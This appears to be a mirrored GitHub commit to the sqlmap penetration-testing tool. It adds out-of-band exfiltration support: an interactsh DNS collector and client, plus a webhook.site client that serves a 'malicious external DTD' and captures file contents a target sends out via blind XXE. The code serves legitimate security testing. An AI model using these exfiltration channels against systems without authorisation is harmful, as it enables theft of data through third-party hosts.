mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-08 09:31:52 +00:00
Adding support for --xxe
This commit is contained in:
parent
16c8909a0c
commit
5fa2da5eae
14 changed files with 1413 additions and 16 deletions
|
|
@ -225,6 +225,60 @@ class DNSServer(object):
|
|||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
class InteractshDNSServer(object):
|
||||
"""DNS exfiltration collector backed by a public (or self-hosted) interactsh
|
||||
interaction server instead of a locally-bound privileged :53 socket. This lets
|
||||
the '--dns-domain' data-exfiltration technique run with zero infrastructure - no
|
||||
delegated authoritative domain, no root/Administrator, no reachable listener -
|
||||
by resolving lookups under the interactsh correlation domain and polling them
|
||||
back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it
|
||||
is a drop-in for conf.dnsServer.
|
||||
"""
|
||||
|
||||
def __init__(self, server=None):
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
|
||||
if not hasCrypto():
|
||||
raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package")
|
||||
|
||||
self._client = Interactsh(server=server)
|
||||
|
||||
if not self._client.registered:
|
||||
raise socket.error("could not register with an interactsh interaction server")
|
||||
|
||||
self.domain = self._client.dnsDomain()
|
||||
self._seen = set()
|
||||
self._running = True
|
||||
self._initialized = True
|
||||
|
||||
def run(self):
|
||||
"""No background listener is needed - interactsh does the receiving."""
|
||||
pass
|
||||
|
||||
def pop(self, prefix=None, suffix=None):
|
||||
"""
|
||||
Returns a captured DNS lookup name matching the given prefix/suffix
|
||||
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
for name in self._client.dnsNames():
|
||||
if name in self._seen:
|
||||
continue
|
||||
|
||||
if prefix is None and suffix is None:
|
||||
self._seen.add(name)
|
||||
retVal = name
|
||||
break
|
||||
|
||||
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
|
||||
self._seen.add(name)
|
||||
retVal = name
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = None
|
||||
try:
|
||||
|
|
|
|||
171
lib/request/interactsh.py
Normal file
171
lib/request/interactsh.py
Normal file
|
|
@ -0,0 +1,171 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import time
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_CORRELATION_ID_LENGTH
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
from lib.core.settings import OOB_NONCE_LENGTH
|
||||
|
||||
# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an
|
||||
# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py);
|
||||
# without it the OOB tier is simply skipped rather than erroring.
|
||||
try:
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Cipher import PKCS1_OAEP
|
||||
from Crypto.Hash import SHA256
|
||||
from Crypto.PublicKey import RSA
|
||||
_HAS_CRYPTO = True
|
||||
except ImportError:
|
||||
_HAS_CRYPTO = False
|
||||
|
||||
|
||||
def hasCrypto():
|
||||
return _HAS_CRYPTO
|
||||
|
||||
|
||||
class Interactsh(object):
|
||||
"""Minimal interactsh client: registers a per-scan RSA key with a public (or
|
||||
self-hosted) interactsh server, hands out unique callback URLs, and polls for
|
||||
the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on
|
||||
the wire and decrypted locally, so the server operator never sees their content.
|
||||
All HTTP goes through sqlmap's own request stack (proxy/timeout honoured)."""
|
||||
|
||||
def __init__(self, server=None, token=None):
|
||||
self.server = None
|
||||
self.token = token or conf.get("oobToken")
|
||||
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
|
||||
self.secret = randomStr(32, lowercase=True)
|
||||
self.registered = False
|
||||
self._key = None
|
||||
self._dnsNonce = None
|
||||
|
||||
if not _HAS_CRYPTO:
|
||||
return
|
||||
|
||||
self._key = RSA.generate(2048)
|
||||
pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM"))))
|
||||
candidates = [server] if server else list(OOB_INTERACTSH_SERVERS)
|
||||
|
||||
for candidate in candidates:
|
||||
if not candidate:
|
||||
continue
|
||||
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
|
||||
if self._request("https://%s/register" % candidate, post=body):
|
||||
self.server = candidate
|
||||
self.registered = True
|
||||
logger.debug("registered with OOB interaction server '%s'" % candidate)
|
||||
break
|
||||
|
||||
def _request(self, url, post=None):
|
||||
"""Direct request to the interactsh server (a fixed service, never the target).
|
||||
Self-contained on urllib so it works regardless of sqlmap's request-stack init
|
||||
order (it is also called during option setup, before getPage is usable); honours
|
||||
--proxy and tolerates self-signed certs like the rest of sqlmap. Returns the
|
||||
response body text on success, otherwise None."""
|
||||
try:
|
||||
import ssl
|
||||
try:
|
||||
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
except ImportError:
|
||||
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
|
||||
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
if self.token:
|
||||
headers[HTTP_HEADER.AUTHORIZATION] = self.token
|
||||
|
||||
handlers = []
|
||||
try:
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
handlers.append(HTTPSHandler(context=context))
|
||||
except Exception:
|
||||
pass
|
||||
if conf.get("proxy"):
|
||||
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
|
||||
|
||||
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
|
||||
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
|
||||
return getText(response.read())
|
||||
except Exception as ex:
|
||||
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
|
||||
return None
|
||||
|
||||
def url(self):
|
||||
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
|
||||
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "http://%s%s.%s" % (self.correlationId, nonce, self.server)
|
||||
|
||||
def dnsDomain(self):
|
||||
"""Stable domain suffix (host = correlationId + a fixed nonce) usable as an
|
||||
exfiltration suffix - additional labels prepended by a payload still resolve
|
||||
to this correlation id, so every DNS lookup under it is captured."""
|
||||
if not self._dnsNonce:
|
||||
self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
|
||||
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
|
||||
|
||||
def dnsNames(self):
|
||||
"""Poll and return the fully-qualified names (minus the server suffix) of the
|
||||
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
|
||||
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
|
||||
|
||||
def poll(self):
|
||||
"""Return the list of decrypted interaction records captured so far."""
|
||||
if not self.registered:
|
||||
return []
|
||||
|
||||
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
|
||||
if not page:
|
||||
return []
|
||||
|
||||
try:
|
||||
response = json.loads(page)
|
||||
except ValueError:
|
||||
return []
|
||||
|
||||
retVal = []
|
||||
data = response.get("data") or []
|
||||
if data:
|
||||
try:
|
||||
aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"]))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB AES key decryption failed: %s" % getText(ex))
|
||||
return []
|
||||
|
||||
for item in data:
|
||||
try:
|
||||
raw = base64.b64decode(item)
|
||||
plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:])
|
||||
retVal.append(json.loads(getText(plain)))
|
||||
except Exception as ex:
|
||||
logger.debug("OOB interaction decryption failed: %s" % getText(ex))
|
||||
|
||||
return retVal
|
||||
|
||||
def pollUntil(self, attempts, delay):
|
||||
"""Poll repeatedly, returning as soon as any interaction is captured."""
|
||||
for _ in range(attempts):
|
||||
time.sleep(delay)
|
||||
interactions = self.poll()
|
||||
if interactions:
|
||||
return interactions
|
||||
return []
|
||||
|
||||
def close(self):
|
||||
if self.registered:
|
||||
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
|
||||
self._request("https://%s/deregister" % self.server, post=body)
|
||||
self.registered = False
|
||||
72
lib/request/webhooksite.py
Normal file
72
lib/request/webhooksite.py
Normal file
|
|
@ -0,0 +1,72 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.convert import getText
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import OOB_EXFIL_ENDPOINT
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
|
||||
# response (our malicious external DTD) AND log the request the target then makes
|
||||
# (carrying the file content). interactsh cannot host arbitrary content, hence the
|
||||
# separate backend. HTTP-only, free tier, no account required for basic tokens.
|
||||
|
||||
|
||||
class WebhookSite(object):
|
||||
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
|
||||
and reads back the requests captured on them. All calls go through sqlmap's
|
||||
request stack (proxy/timeout honoured) straight to the service, not the target."""
|
||||
|
||||
def __init__(self):
|
||||
# Exfil host is the public content-serving endpoint (its token API is
|
||||
# service-specific, so --oob-server, which selects the interactsh *detection*
|
||||
# server, deliberately does not repoint it).
|
||||
self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
|
||||
|
||||
def _api(self, path, post=None):
|
||||
try:
|
||||
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
|
||||
page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post,
|
||||
auxHeaders=headers, direct=True, silent=True, raise404=False)
|
||||
return page if (code is None or code in (200, 201)) else None
|
||||
except Exception as ex:
|
||||
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
|
||||
return None
|
||||
|
||||
def newToken(self, content=None):
|
||||
"""Create a token. When `content` is given the token serves it verbatim
|
||||
(used to host the external DTD). Returns the token UUID or None."""
|
||||
body = {"default_status": 200}
|
||||
if content is not None:
|
||||
body["default_content"] = content
|
||||
body["default_content_type"] = "application/xml"
|
||||
page = self._api("/token", post=json.dumps(body))
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("uuid")
|
||||
except ValueError:
|
||||
pass
|
||||
return None
|
||||
|
||||
def hostUrl(self, token):
|
||||
"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
|
||||
cannot fetch https external entities."""
|
||||
host = self.endpoint.split("://", 1)[-1]
|
||||
return "http://%s/%s" % (host, token)
|
||||
|
||||
def captured(self, token):
|
||||
"""Return the list of request records captured on `token` (newest first)."""
|
||||
page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
|
||||
if page:
|
||||
try:
|
||||
return json.loads(page).get("data") or []
|
||||
except ValueError:
|
||||
pass
|
||||
return []
|
||||
Loading…
Add table
Add a link
Reference in a new issue